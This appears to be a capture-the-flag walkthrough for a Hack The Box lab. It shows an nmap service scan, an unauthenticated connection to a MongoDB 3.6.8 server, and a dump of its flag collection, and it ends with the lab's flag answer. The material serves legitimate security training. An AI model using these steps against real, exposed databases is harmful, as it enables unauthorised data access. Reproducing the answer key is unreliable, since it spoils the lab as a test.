



1. How many TCP ports are open on the machine?

**Answer: 2**

2. Which service is running on port 27017 of the remote host?

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ nmap -Pn -sV -p 27017 10.129.228.30

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 04:52 EDT
Nmap scan report for 10.129.228.30
Host is up (0.074s latency).

PORT      STATE SERVICE VERSION
27017/tcp  open  mongod  MongoDB 3.6.8
```

**Answer: MongoDB 3.6.8**

3. What type of database is MongoDB? (Choose: SQL or NoSQL)?

**Answer: NoSQL**

4. What command is used to launch the interactive MongoDB shell from the terminal?

**Answer: mongosh**

5. What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;)

**Answer: show dbs**

6. What is the command used for listing out the collections in a database? (No need to include a trailing ;)

**Answer: show collections**

7. What command is used to dump the content of all the documents within the collection named `flag`?

**Answer: db.flag.find()**

8. Submit root flag

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ sudo docker run -it --rm mongo:3.6 mongo --host 10.129.228.30

> use sensitive_information
switched to db sensitive_information
> db.flag.find()
{ "_id" : ObjectId("630e3dbcb82540ebbd1748c5"), "flag" : "1b6e6fb359e7c40241b6d431427ba6ea" }
```

**Answer: 1b6e6fb359e7c40241b6d431427ba6ea**